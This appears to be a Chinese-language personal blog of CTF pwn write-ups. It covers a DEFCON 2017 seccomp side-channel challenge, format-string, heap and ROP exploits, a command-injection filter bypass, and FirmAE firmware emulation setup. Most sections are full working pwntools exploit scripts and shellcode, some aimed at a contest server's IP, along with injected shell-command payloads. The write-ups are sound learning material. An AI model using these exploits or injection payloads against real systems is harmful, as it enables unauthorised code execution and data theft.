pwn入门-32-defcon2017资格赛-mute
侧信道是个很有意思的东西…万物皆可侧信道…各种奇奇怪怪的方法
https://github.com/bannsec/CTF/tree/5e9bba7fa0f398257aae9f4754370aed647a079a/2017/DEFCON/mute
好多年前的defcon的题了,但现在来看也并不简单,一方面考察了脑洞,要想到侧信道的办法,另一方面要有比较深厚的计算机基础,比如了解系统调用,会写汇编,对汇编比较熟悉才能写出来exp.
程序分析1234567891011121314151617181920int __cdecl main(int argc, const char **argv, const char **envp){ FILE *v3; // rdi int v5; // [rsp+14h] [rbp-Ch] void *buf; // [rsp+18h] [rbp-8h] v5 = 0; buf = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL); puts("SILENCE, FOUL DAEMON!"); v3 = _bss_start; fflush(_bss_start); dropSyscalls(v3); while ( v5 != 4096 ) { v3 = 0LL; v5 += read(0, buf, 4096 - v5); } ((void (__fastcall *)(FILE *))buf)(v3); return 0;}
读取一段内容到buf,然后执行读取的内容,很明显,要读取一段shellcode,但是禁用了一些系统调用
123456789101112131415161718192021222324root@VM-24-10-ubuntu:/home/ubuntu/side# seccomp-tools dump ./muteSILENCE, FOUL DAEMON! line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x11 0xc000003e if (A != ARCH_X86_64) goto 0019 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x0e 0xffffffff if (A != 0xffffffff) goto 0019 0005: 0x15 0x0c 0x00 0x00000000 if (A == read) goto 0018 0006: 0x15 0x0b 0x00 0x00000002 if (A == open) goto 0018 0007: 0x15 0x0a 0x00 0x00000003 if (A == close) goto 0018 0008: 0x15 0x09 0x00 0x00000004 if (A == stat) goto 0018 0009: 0x15 0x08 0x00 0x00000005 if (A == fstat) goto 0018 0010: 0x15 0x07 0x00 0x00000006 if (A == lstat) goto 0018 0011: 0x15 0x06 0x00 0x00000007 if (A == poll) goto 0018 0012: 0x15 0x05 0x00 0x00000008 if (A == lseek) goto 0018 0013: 0x15 0x04 0x00 0x00000009 if (A == mmap) goto 0018 0014: 0x15 0x03 0x00 0x0000000a if (A == mprotect) goto 0018 0015: 0x15 0x02 0x00 0x0000000b if (A == munmap) goto 0018 0016: 0x15 0x01 0x00 0x0000000c if (A == brk) goto 0018 0017: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0019 0018: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0019: 0x06 0x00 0x00 0x00000000 return KILL
诶 不是有execve吗,不能getshell吗
exp 思路是有的,但是编写exp就比较头疼,汇编比较渣,总之一步步来,先open read然后读每个字节,然后比较,(pwncollege好好打打基础!)
1234567891011121314151617181920212223242526272829303132333435363738394041424344from pwn import *context.update(arch='amd64', os='linux', log_level='ERROR') # 这个必须加,不然shellcraft没法正确识别指令集flag = ""for i in range(15): # flag的位数,不知道就可以多写点 c = 0 # 存储字符的ascii码 for j in range(8): # 一个字符8位 循环每一位 p = process("./mute") p.readline() shellcode = shellcraft.open("./flag",constants.O_RDONLY,None) # 打开文件 shellcode += pwnlib.shellcraft.amd64.mov("r8","rax") # 把句柄给r8 shellcode += pwnlib.shellcraft.amd64.lseek("r8",i,0) # lseek 读写文件偏移量,这个就是说,一个字节一个字节读, shellcode += pwnlib.shellcraft.amd64.read("r8","rsp",1) # 把内容读取1字节,读到rsp上 shellcode += ''' movzx eax, BYTE PTR [rsp] #把rsp指向的地址处的要比较的字符读取到al中,0扩展到eax movsx edx,al # 把要比较的字符放到edx中 mov eax,%s #把变量放到eax中,就是循环变量 j ,以此循环每个位,一共8位 mov ecx,eax # 把变量放到ecx sar edx,cl # 右移 cl位 mov eax,edx and eax,1 test eax,eax # and运算、测试是1还是0 je .L2 # jz的别名,如果是0,跳转L2 .L3: jmp .L3 .L2: leave ret ''' % j # 这个是填充%s变量的 shellcode = asm(shellcode) p.send(shellcode+b"\0"*(0x1000-len(shellcode))) try: p.recv(timeout=1) # 1,移位然后或,把新的一位设置为1 c = (c>>1) | 128 # 0000 0000 1000 0000 f 0x66 0b1100110 except EOFError: # 0 , leave ret后EOFError c = c>>1 sys.stdout.write(chr(c)) flag += chr(c) sys.stdout.flush()print(flag)
汇编分析1234567891011121314151617181920212223242526272829303132333435363738394041/* open(file='flag', oflag=0, mode=0) */ /* push b'flag\x00' */ push 0x67616c66 mov rdi, rsp xor edx, edx /* 0 */ xor esi, esi /* 0 */ /* call open() */ push SYS_open /* 2 */ pop rax syscall mov r8, rax # 返回值,句柄, /* lseek(fd='r8', offset=0, whence=0) 这是第一次,偏移为0*/ mov rdi, r8 xor edx, edx /* 0 */ xor esi, esi /* 0 */ /* call lseek() */ push SYS_lseek /* 8 */ pop rax syscall /* call read('r8', 'rsp', 1) */ xor eax, eax /* SYS_read */ mov rdi, r8 push 1 pop rdx mov rsi, rsp syscall # 系统调用号是0 前面xor即可 movzx eax, BYTE PTR [rsp] movsx edx, al mov eax, 0 mov ecx, eax sar edx, cl mov eax, edx and eax, 1 test eax, eax je .L2 .L3: jmp .L3 .L2: leave ret
调试调试的话,可以直接pwntools+gdb调,也可以写段汇编自己调试
接收字符分析12345try: p.recv(timeout=1) # 收到消息了,是1,移位然后或,把新的一位设置为1 c = (c>>1) | 128 # 0000 0000 1000 0000 f 0x66 0b1100110except EOFError: # 0 c = c>>1
以接收f的过程为例, f是 0b01100110
12345678910root@vultr:~/side# python3 1.py0b00b100000000b110000000b11000000b1100000b100110000b110011000b1100110f
上面是直接print(bin(c))打印的每次的输出结果,其实不是很好看,补全后就明朗了,就是每次接收一个字符都会往后移动一位,然后前面的就是新的一位
0b000000000b100000000b110000000b011000000b001100000b100110000b110011000b01100110
刚开始一直不明白是0还是1的时候才会接收到消息,也就是说是,leave;ret;会接收到消息,还是一直jmp会接收到消息,现在看结果是一直jmp会接收到消息,这是为什么呢?
嘶,感觉其实不是接收到了消息,而是时间到了后,也没有报错,就继续往下执行了,但如果是0的话,就会exit退出,然后EOFError,1的话接收时间过了,就执行下面代码了.
留的小尾巴了解一下怎么调试汇编吧..直接编写汇编代码调试
还没用时间侧信道来做呢…
pwn入门-31-DASCTF六月二进制专项-1
和哥几个打的这个比赛,虽然只做出了几道题,但是还有几道其实也都差不多了,思路都没问题,还是因为细节的问题,对原理的掌握不够深入导致的问题,还得再好好打基础和巩固.
fooooood 这道格式化字符串题给自己整的太恶心了..主要是很久不做格式化字符串了,然后当时理解的没那么深入,有些小问题就卡死了…
非栈上的格式化字符串利用, 看到一种方法是可以利用栈上已有的指针,当时也用了,不过不知道为什么利用格式化字符串写数据的时候有问题….回头再专门学一下
这是一条可以利用的链
感觉自己的思路是没有问题的,但是对格式化字符串的一些利用的小点不是很熟悉,就导致了问题
exp 主要分了几部分,先把for循环的i改大一点,因为要循环很多次,然后还要地址泄露,再之后呢,写一个格式化字符串的替换函数,把返回地址修改了就可以了
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162from pwn import *context(os='linux',log_level='debug')libc = ELF('/home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')io = process("./pwn")context.terminal = ['tmux', 'splitw', '-h']gdb.attach(io)io.recvuntil("Give me your name:")io.sendline("test")io.recvuntil("favourite food: ")io.sendline("%11$p")io.recvuntil("You like ")#data = (io.recvline().strip()).decode().split('.')rsp = int(io.recvuntil('!?')[:-2],16)-248print(hex(rsp))i = rsp+4i_off = i&0xffffprint(hex(i_off))payload = b'%'+str(i_off).encode()+b'c%11$hn'print(payload)io.sendlineafter('food: ',payload)payload = b'%'+str(40).encode()+b'c%37$hhn'sleep(1)io.sendlineafter('food: ',payload)# 泄露libcpayload = b'%9$p'io.sendlineafter('food: ',payload)io.recvuntil("You like ")libc.address = int(io.recvuntil('!?')[:-2],16) - 240- libc.sym.__libc_start_main#简单的格式化字符串利用函数,将dest地址的后8字节循环更改成ptr对应的字节,off1与off2为上述 (1)与(2)两个栈地址在格式化字符串中的偏移def overlap(dest,ptr,off1,off2): d = dest&0xff for i in range(8): if not ptr: break payload=b'%'+str(d).encode()+b'c%'+str(off1).encode()+b'$hhn' io.sendlineafter('food: ',payload) f=ptr&0xff payload=b'%'+str(f).encode()+b'c%'+str(off2).encode()+b'$hhn' io.sendlineafter('food: ',payload) d+=1 ptr>>=8ret=rsp+0x18ptr=libc.address+0x21112payload = b'%'+str(ret&0xffff).encode()+b'c%'+str(25).encode()+b'$hn'io.sendlineafter('food: ',payload)pause()# 覆盖返回地址overlap(ret,ptr,25,39)overlap(ret+8,libc.search(b'/bin/sh').__next__(),25,39)overlap(ret+16,libc.sym.system,25,39)io.sendlineafter('food: ',payload)io.interactive()
自己之前的exp..回头检查下是哪的问题
12345678910111213141516171819202122232425262728293031323334353637from pwn import *context(os='linux',log_level='debug')mylibc = ELF('/home/ubuntu/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')io = process("./pwn")context.terminal = ['tmux', 'splitw', '-h']gdb.attach(io)io.recvuntil("Give me your name:")io.sendline("test")io.recvuntil("favourite food: ")io.sendline("%31$p.%21$p")io.recvuntil("You like ")data = (io.recvline().strip()).decode().split('.')print(data)#pause()#libc_addr = int(data[3],16)-0x20840first_addr = int(data[0],16)print(hex(first_addr))#pause()#print(hex(libc_addr))#print(hex(ret_addr))#onegadget = libc_addr + 0x45226#pause()payload = fmtstr_payload(31,{0x7fffff:0x7fffff})print(payload)#payload = b"%58248c%31$n"payload = b"%.26204x%30$n"#pause()io.recvuntil("favourite food: ")io.sendline(payload)io.recvuntil("You like ")pause()io.interactive()
存储备忘的信息
%10$p.%15$p.aaa
%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.
0x7fffffffbdc0.0x7ffff7dd3780.0x7ffff7b043c0.0x7ffff7ff6700.0x9.0x1ffffe540.0xc144e077e3cf5200.0x555555554b60.0x7ffff7a2d840.(nil).37
为什么不按顺序了…
0x7fffffffbdc0.0x7ffff7dd3780.0x7ffff7b043c0.0x7ffff7ff6700.0x9.0x3ffffe540.0xb1fb67251108900.0x555555554b60.0x7ffff7a2d840.(nil).0x7fffffffe548test’
%12$p.%13$p.%14$p.%15$p.aaa
0x1f7ffcca0.0x555555554a67.(nil).0x7da3d3a4544d517e.aaa37
%16$p.%17$p.%18$p.%19$p.aaa
x555555554820.0x7fffffffe540.(nil).(nil).aaa
%20$p.%21$p.%22$p.%23$p.aaa
0x4f7197cdb841edfc.0x4f718777df51edfc.(nil).(nil).aaa
%24$p.%25$p.%26$p.%27$p.aaa
(nil).0x7fffffffe558.0x7ffff7ffe168.0x7ffff7de780b.aaa
%28$p.%29$p.%30$p.%31$p.aaa
(nil).(nil).0x555555554820.0x7fffffffe540.aaa
%32$p.%33$p.%34$p.%35$p.aaa
(nil).0x555555554849.0x7fffffffe538.0x1c.aaa
%36$p.%37$p.%38$p.%39$p.aaa
0x1.0x7fffffffe79c.(nil).0x7fffffffe7ba.aaa
0x7fffffffe388
0xffffe388
0xe388
11个位置 -0xd0
https://blog.csdn.net/qq_52877079/article/details/129756543
https://www.anquanke.com/post/id/184717
easynote 简单的一道菜单堆题,看的时候很眼熟很眼熟,果然是之前做过的,只是稍微改动
https://xuanxuanblingbling.github.io/ctf/pwn/2020/02/02/paper/
开启了pie,那就用largebin smallbin的main_arena来泄露地址,
这里有个小坑,就是接收返回地址的时候一直接收不到,注意这是因为先接收到了\n,用recv应该是接收到\n为止? 所以可以用多个recv或者recvuntil,
malloc有检测,回头分析源码的时候可以具体看看
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455from pwn import *elf = "./pwn"context.log_level= "debug"p = process(elf)#p = remote("node4.buuoj.cn",25350)context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(p)def add(size,content): p.sendlineafter('5. exit', '1') p.sendlineafter('The length of your content --->', str(size)) p.sendlineafter('Content --->', content)def edit(index, size,content): p.sendlineafter('5. exit', '2') p.sendlineafter('Index --->', str(index)) p.sendlineafter('The length of your content --->', str(size)) p.sendlineafter('Content --->', content)def show(index): p.sendlineafter('5. exit', '4') p.sendlineafter('Index --->', str(index))def delete(index): p.sendlineafter('5. exit', '3') p.sendlineafter('Index --->', str(index))add(0x30,"aaa")add(0x30,"bbb")delete(0)delete(1)delete(0)add(0x50,"xielu")add(0x100,"dizhi") # 3 泄露地址用add(0x50,"hebing") # 防止合并delete(3)show(3)p.recvuntil("Content: ")libc_addr = u64(p.recv(6).ljust(8,b"\x00")) - 0x3c4b78print(hex(libc_addr))# fastbin double free修改add(0x30,p64(0x602022))add(0x30,"a")add(0x30,"b")#pause()add(0x30,b"\x40\x00\x00\x00\x00\x00"+p64(libc_addr+0x4527a))p.interactive()
server 当时做的时候没想到栈的重叠的问题,单纯过滤肯定是没戏的.咋说捏,只会一些传统的套路是不行的,那只是基础,要在此之上更上一个纬度,看清事物的本质,学会变通才能应对更复杂的情况.
对此题的反思就是,首先还是基础,要打好基础,打好操作系统原理的基础,如果懂这个的话,估计其实很容易想到重叠的问题.然后再培养细心以及一些自动化工具帮你寻找类似的点.
思路一 access校验的长度有限,为32
1234567snprintf(name, 0x20uLL, "/keys/%s.key", s);这个长度是27,加上/keys就是32了../../../../../././bin/sh # /keys/../../../../../././bin/sh 最后access的是这个文件,肯定是存在的
然后就是命令拼接了,存在未初始化漏洞,栈上有残留数据
第二次输入个单引号就好了, \n也可以作为命令分隔符,所以前面那个add_user -u ‘’就是没用的了,直接执行后面的/bin/sh了
过滤 ; & ` | $ 空格 ( ) {} - / \
这个不用写脚本,
123456789101112第一次选1,输入../../../../../././bin/sh #然后选2,输入'然后就闭合了,就可以getshell了 "add_user -u '%s' -p '888888'" ► 0x555555555748 call system@plt <system@plt> command: 0x7fffffffe410 ◂— "add_user -u ''\n/bin/sh #' -p '888888'"
思路二1'\ncat\tfl*\n
这里也用到覆盖了,看exp就可以理解了,exp的12就是随便输入的,后面的’\n会替代
过滤的空格可以用\t替代
12345678910111213141516171819202122232425262728293031from pwn import *elf = "./pwn_7"context.log_level= "debug"p = process(elf)#p =remote("node4.buuoj.cn", 25471)context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(p)p.recvuntil("Your choice >>")p.sendline("1")p.recvuntil("Please input the key of admin : ")p.sendline(b"../../../../../../../../../")print(p.recv())p.recvuntil("Your choice >>")p.sendline("2")p.recvuntil("Please input the username to add :")payload = b"xxcat\tfl*\n"p.sendline(payload)p.recv(1024)p.recv(1024)p.recvuntil("Your choice >>")p.sendline("2")p.recvuntil("Please input the username to add :")payload = b"'"p.sendline(payload)print(p.recv(1024))print(p.recv(1024))p.interactive()
能不能’cat\tfl*\n呢,不能呀,,需要有个\n,但是没有,也没有; 没有分隔符没办法执行两条命令,这个必须要\n的 \t不行吗,不行…….
https://blog.51cto.com/u_15400016/4287727
https://www.secpulse.com/archives/96374.html
问题用recv应该是接收到\n为止? 所
固件模拟工具firmae安装
因为最近在做iot相关的漏洞复现,搭建环境是很重要的一环,qemu可以直接搭建,但有时候一些细节会导致一些问题,所以firmae是一个集成化的工具,可以帮助一键搭建环境.
但是安装这个工具的时候..又发生了奇奇怪怪的问题…记录一下.. 搞计算机遇到报错太正常了,但同样也是非常搞人心态的,学会如何排错,如何利用搜索引擎(包含chatgpt!)来解决问题是很重要的一个能力!
有一说一,能真机还是最好别虚拟… 当然没有那么多钱、也不一定能买到,虚拟也是不错的
工具地址:https://github.com/pr0v3rbs/FirmAE
搭建环境:ubuntu18
123git clone --recursive https://github.com/pr0v3rbs/FirmAE./download.sh # 就是一个下载脚本,单纯的download..(国内服务器买香港的,或者用国外的..或者..../install.sh
然后报错了…一堆红…
其实如果不确定是哪里报错了,可以拆看sh脚本,一点一点执行,看看
报错:
1234./psycopg/psycopg.h:35:10: fatal error: Python.h: No such file or directory #include <Python.h> ^~~~~~~~~~ compilation terminated.
解决方案:https://stackoverflow.com/questions/19843945/psycopg-python-h-no-such-file-or-directory
其实不解决貌似后面也能搭建起来,好像是一路畅通,但运行起来还是显示不了页面等,肯定有问题,所以还是要解决的.
1sudo apt-get install python3-dev
运行完后重新跑一遍install脚本,出现这个,一路输入y
1Reversed (or previously applied) patch detected! Assume -R? [n]
开始模拟
123./init.shwget https://github.com/pr0v3rbs/FirmAE/releases/download/v1.0/DIR-868L_fw_revB_2-05b02_eu_multi_20161117.zip
123456root@VM-0-9-ubuntu:/home/ubuntu/FirmAE# ./run.sh -r tenda DIR868L_B1_FW205WWb02.bin[*] DIR868L_B1_FW205WWb02.bin emulation start!!!Traceback (most recent call last): File "./sources/extractor/extractor.py", line 19, in <module> import binwalkModuleNotFoundError: No module named 'binwalk'
不能直接pip3 install binwalk! 也不能apt install binwalk!!!!
参考:https://www.secpulse.com/archives/201139.html
可以观察到它目录下有binwalk这个目录,cd进去后 python3 setup.py install
解压固件要用这个命令 (github上也没说啊!!!!)
1binwalk -Me xxxx.bin --run-as=root
然后再run就可以了(有时候环境比较复杂,不知道哪个开的有影响,采用重启大法! 重启后init,然后run)
由于模拟环境是在云服务器上上的内网网卡,公网无法直接访问,需要做个端口转发,
gost:https://github.com/ginuerzh/gost
gzip -d 解压
1gost -L=tcp://:2222/192.168.0.2:80
然后就可以访问了!!!
pwn入门-30-2023OUC校赛
拖了挺久才整理…不应该…以后要及时复盘. 本身题不是很难,不过有很多小细节,自己之前没弄懂,还是说有时间的话,多研究研究,以及之前的题,要进行一定的复盘.
恢复符号 比较恶心的一个点(其实也不恶心,就是自己之前没弄过),找到了一些文章,然后github有编译好的符号文件,可以直接ida导入就好了,回头有时间可以自己编译一下
https://github.com/maroueneboubakri/lscan
https://blog.csdn.net/Breeze_CAT/article/details/103788796
ida中shift+f5,然后把符号文件添加进去
还有就是一些地址的计算…头大,,(估计还是原理没完全搞明白)
pwn1 栈长度是0x68 = 104,但能读取256,很明显的栈溢出,可以覆盖返回地址,而且没有开NX保护,可以写shellcode,于是问题就变成了怎么跳到shellcode呢,或者怎么知道shellcode的地址,puts的话,遇到\x00才会停止所以可以前面填满,然后输出ebp这里的值,这里的值好像会有一些变化,所以可以不用太具体,前面一直加nop就好了,跳到nop然后走,然后shellcode
121d:0074│ 0xffffd4f4 ◂— 0x01e:0078│ ebp 0xffffd4f8 —▸ 0xffffd508 ◂— 0x0
ebp和esp差了0x90 esp和ecx(开始输出字符串那里)差了0x28,ebp输出的值和ebp差了0xbe,这样有点乱,画图会清晰很多
这样其实有问题,不太对,因为ebp那里的值其实是不确定的,但总是会往前指,或多或少,有时候正好指到shellcode开头或者偏移一点点,至于为什么呢…可以后面在研究,可以简单的跳到这个位置就好了,加一些nop(但是打远程的时候不知道为什么老不成功,可以加一点偏移,因为毕竟是往前跳)
有system有/bin/sh 能不能rop呢?
p32(addr-0xbe+0x2e+0x28)
换句话说,ebp这个位置的值如果正好位于 [ebp-0x68,ebp-len(shellcode)]之间的话,就正好到了nop,如果大的话,就需要我们来加一点值了
12345678910111213141516171819202122232425262728##!/usr/bin/env pythonfrom pwn import *#sh = process('./pwn1')sh = remote("101.43.247.245",9200)#systemaddr = 0x8048440#binsh = 0x80486C0#sh.sendline(b'A' * (0x68+4) + p32(systemaddr)+p32(0)+p32(binsh))context.log_level= "debug"context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(sh,"b *0x80488F2")#gdb.attach(sh)sh.recvuntil(b"say")sh.sendline(b"a"*0x68)#addr = u32(sh.recv(8)[4:8])sh.recv(0x68)addr = u32(sh.recv(4))shellcode = asm(shellcraft.sh())nop = asm(''' nop ''')shellcode = nop*30+shellcodepayload = shellcode.ljust(0x68, b'b') + p32(0)+p32(addr+0xbe-0x78+0x10-4)print(hex(addr))print(hex(addr+0xbe-0x90+0x28+4))sh.sendline(payload)sh.interactive()
12345678910111213141516171819202122232425262728##!/usr/bin/env pythonfrom pwn import *sh = process('./pwn01')#sh = remote("101.43.247.245",9200)#systemaddr = 0x8048440#binsh = 0x80486C0#sh.sendline(b'A' * (0x68+4) + p32(systemaddr)+p32(0)+p32(binsh))context.log_level= "debug"context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(sh,"b *0x80488F2")#gdb.attach(sh)sh.recvuntil(b"say")sh.sendline(b"a"*0x68)#addr = u32(sh.recv(8)[4:8])sh.recv(0x68)addr = u32(sh.recv(4))print(hex(addr))#pause()shellcode = asm(shellcraft.sh())nop = asm(''' nop ''')shellcode = nop*40+shellcodepayload = shellcode.ljust(0x68,b'b') + p32(0)+p32(addr+0x2e+0x28-4)sh.sendline(payload)sh.interactive()
还遇到很玄学的问题,nop加多了,怎么也不行,
感觉像是后面的指令并没有识别出来 不多,好像是没传送完全?
pwn2 加了nx保护,用rop吧,ret2syscall, 这下不用算哪个比较恶心的shellcode的位置了,用ret2syscall是因为没有找到system函数..
execve(“/bin/sh”,NULL,NULL)
其中,该程序是 32 位,所以我们需要使得
系统调用号,即 eax 应该为 0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0
没有 /bin/sh,那就写入到栈后面,反正需要栈的地址,计算一下就可以了
1234567891011120x080b8eb6 : pop eax ; ret0x080481c9 : pop ebx ; ret0x080df8bd : pop ecx ; ret0x0806f83b : pop edx ; ret0x0806d443 : int 0x80============================================================0x08048798 : leave ; ret
写一下payload
栈是104+4(ebp) = 108, 溢出了 256-108 = 148字节
1234binsh = addr + 10*4payload= b"a"*0x68 + b"b"*4 + p32(pop_eax)+p32(0xb)+p32(pop_ebx)+p32(binsh)+p32(pop_ecx)+p32(0)+p32(pop_edx)+p32(0) + p32(int80)
泄露栈地址 puts函数遇到\n才会停止,所以可以以此来泄露栈上残留的值来泄露地址,其实不一定要泄露这个,哪个都行, 不过有一个问题就是,这个值会是固定的嘛…
不是固定的….可以换一个泄露,但是如果覆盖了ebp的话,是不是会影响栈桢呢….
溢出长度是不够的,需要栈迁移
当时好像想的是先把/bin/sh写到一个地方…
这是做的时候写的exp,是有概率拿到shell的…
12345678910111213141516171819202122232425262728293031323334353637383940##!/usr/bin/env pythonfrom pwn import *#sh = process('./pwn1')sh = remote("101.43.247.245",9201)#systemaddr = 0x8048440#binsh = 0x80486C0#sh.sendline(b'A' * (0x68+4) + p32(systemaddr)+p32(0)+p32(binsh))context.log_level= "debug"context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(sh,"b *0x80488F2")#gdb.attach(sh)# 泄露栈地址sh.recvuntil(b"say")sh.sendline(b"a"*0x68)#addr = u32(sh.recv(8)[4:8])sh.recv(0x68)addr = u32(sh.recv(4))pop_eax = 0x080b8eb6pop_ebx = 0x080481c9pop_ecx = 0x080df8bdpop_edx = 0x0806f83bint80 = 0x0806d443leaveret = 0x08048798binsh = addr + 0xae-0x78+0x10-4 + 11*4-4payload= p32(pop_eax)+p32(0xb)+p32(pop_ebx)+p32(binsh)+p32(pop_ecx)+p32(0)+p32(pop_edx)+p32(0) + p32(int80) + b"/bin/sh\x00"#payload= b"/bin/sh\x00"*0x8payload = payload.ljust(0x68,b"a")+p32(addr+0xae-0x78+0x10-4)+p32(leaveret)#payload = payload.ljust(0x68,b"a") +p32(0)+p32(addr+0xbe-0x78+0x10-4)print(hex(addr))print(hex(addr+0xae-0x78+0x10-4))sh.sendline(payload)sh.interactive()
查看符号 readelf objdump?
pwn3恶心的过滤…怎么把过滤应用到这了,
主要是 一个常用的指令, push xxx, 转成字节码会有\x68,正好命中了规则,草!
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283##!/usr/bin/env pythonfrom pwn import *#context(os='linux',arch="i386")#sh = process('./pwn3')sh = remote("101.43.247.245",9202)#systemaddr = 0x8048440#binsh = 0x80486C0#sh.sendline(b'A' * (0x68+4) + p32(systemaddr)+p32(0)+p32(binsh))context.arch= 'x86'context.log_level= "debug"context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(sh,"b *0x8048967")#gdb.attach(sh)sh.recvuntil(b"say")'''sh.sendline(b"a"*0x60+p32(0)+p32(0x99999)+b"d"*8)#sh.sendline(b"a"*0x70)#addr = u32(sh.recv(8)[4:8])sh.recv(0x70)addr = u32(sh.recv(4))print(hex(addr))print(hex(addr+0xbe-0x90+0x28+4))'''pop_eax = 0x080b8f16pop_ebx = 0x080481c9pop_ecx = 0x080df91dpop_edx = 0x0806f89bint80 = 0x0806d4a3leaveret = 0x08048798bssaddr = 0x080ECDBBjmpesp = 0x080dea1f#binsh = addr + 0xae-0x78+0x10-4 + 11*4-4str = ""#shellcode = asm("push 0x0;")shellcode = asm(''' push 0 mov eax,0x7478742e push eax mov eax,0x67616c66 push eax mov ebx,esp xor ecx,ecx #0 xor edx,edx #0 mov eax,0x5 #调用号 int 0x80 mov eax,0x3; mov ecx,ebx; # ecx = char __user *buf 缓冲区,读出的数据-->也就是读“flag” mov ebx,0x3; # 文件描述符 fd:是文件描述符 0 1 2 3 代表标准的输出输入和出错,其他打开的文件 mov edx,0x120; #对应字节数 int 0x80; mov eax,0x4; # eax = sys_write mov ebx,0x1; # ebx = unsigned int fd = 1 int 0x80; ''')#shellcode = b"\x66\x6c\x61\x67" + shellcodeprint(shellcode)#shellcode = asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80')#shellcode+=asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x100;int 0x80')#shellcode+=asm('mov eax,0x4;mov ebx,0x1;int 0x80')payload1 = p32(pop_eax)+p32(0xb)+p32(pop_ebx)+p32(0)+p32(pop_ecx)+p32(0)+p32(pop_edx)+p32(0) + p32(int80) + b"cat$flag.txt\x00"#payload1 = p32(pop_eax)+p32(0x3)+p32(pop_ebx)+p32(0)+p32(pop_ecx)+p32(bssaddr)+p32(pop_edx)+p32(0x20) + p32(int80)#payload2 = p32(pop_eax)+p32(0x5)+p32(pop_ebx)+p32(bssaddr)+p32(pop_ecx)+p32(0)+p32(pop_edx)+p32(0) + p32(int80)#payload2 += p32(pop_eax)+p32(0x3)+p32(pop_ebx)+p32(3)+p32(pop_ecx)+p32(bssaddr)+p32(pop_edx)+p32(0x20) + p32(int80)#payload2 += p32(pop_eax)+p32(0x3)+p32(pop_ebx)+p32(0)+p32(pop_ecx)+p32(bssaddr)+p32(pop_edx)+p32(0x20) + p32(int80)#payload = shellcode#print(payload)#print("length")#print(len(payload))#shellcode = b""payload = shellcode.ljust(0x60,b"a") + p32(0)+p32(0xaaaaa) + p64(0) + p32(0xaaa) + p32(jmpesp) + asm("sub esp,0x78;jmp esp")#payload = b"a"*0x60 + p32(0)+p32(0xaaaaa) + p64(0) + p32(0xaaa) + p32(jmpesp) + asm("sub esp,0x78;jmp esp")#payload = b"a"*0x60 + p32(0)+p32(0x9999)sh.sendline(payload)sh.recv(0x120)sh.interactive()
pwn4 0x68 ebp ret 的栈空间 输入0x80 24字节溢出, 减去4字节ebp的话,还有20字节
只开了NX,那就还是rop吧,这个有system和/bin/sh、或者直接后门函数..
1234567891011121314151617181920plt 0x8048440 system 0x80486C0 binsh.text:080485BD public shell.text:080485BD shell proc near.text:080485BD ; __unwind {.text:080485BD push ebp.text:080485BE mov ebp, esp.text:080485C0 sub esp, 8.text:080485C3 sub esp, 0Ch.text:080485C6 push offset command ; "/bin/sh".text:080485CB call _system.text:080485D0 add esp, 10h.text:080485D3 nop.text:080485D4 leave.text:080485D5 retn.text:080485D5 ; } // starts at 80485BD.text:080485D5 shell endp.text:080485D5
怎么看system的地址呢?,就是push的值不一样,但怎么确定哪个是system呢? (这个是动态链接了!)
exp
123456789from pwn import *#sh = process('./pwn04')sh = remote("101.43.247.245",9203)systemaddr = 0x8048440binsh = 0x80486C0sh.sendline(b'A' * (0x68+4) + p32(systemaddr)+p32(0)+p32(binsh))# sh.sendline(b'A' * (0x68+4) + p32(0x80485BD))sh.interactive()
pwn5主要是要理解清楚逻辑和内存代码布局就可以了
123456789101112131415161718192021222324252627signed int sub_80488CE(){ int v0; // eax char v2; // [esp-Ch] [ebp-24h] int v3; // [esp+Ch] [ebp-Ch] sub_804887C(); v3 = sub_8059F50(48); sub_8048987(v3, 48); v0 = sub_804DBD0(v3 + 16) + 5; if ( v0 == 8 ) { sub_8048987(v3, 48); } else if ( v0 > 8 ) { if ( v0 == 10 ) return 0; if ( v0 == 85145 ) sub_804F700("/bin/sh"); } else if ( v0 == 6 ) { sub_804FA00("where is shell", v2); } return 1;}
12345678910111213141516from pwn import *#sh = process('./pwn5')sh = remote("101.43.247.245",9204)systemaddr = 0x8048440binsh = 0x80486C0context.log_level= "debug"context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(sh,"b *0x008048987")#payload = p32(0x1234)+p32(0x1234)+ p32(0x1234)+p32(0x1234)+ p32(0x1234)+p32(0x1234)+ p32(0x1234)+p32(0x1234)+p32(0x14c94000)payload = "1234123412341234" + "85140"sh.sendline(payload)sh.interactive()
pwn6看看又改了啥…
123456789101112131415161718192021222324252627signed int sub_80488CE(){ int v0; // eax char v2; // [esp-Ch] [ebp-24h] char *nptr; // [esp+Ch] [ebp-Ch] sub_804887C(); nptr = (char *)sub_8059F40(48); sub_8048980(nptr, 48); v0 = atoi_0(nptr); if ( v0 == 2 ) { sub_8048980(nptr, 48); } else if ( v0 > 2 ) { if ( v0 == 3 ) return 0; if ( v0 == 12345 ) sub_804F6F0("/bin/sh"); } else if ( v0 == 1 ) { sub_804F9F0("where is shell", v2); } return 1;}
输入12345即可
root@hecs-149507:~/haida# nc 101.43.247.245 9205
12345
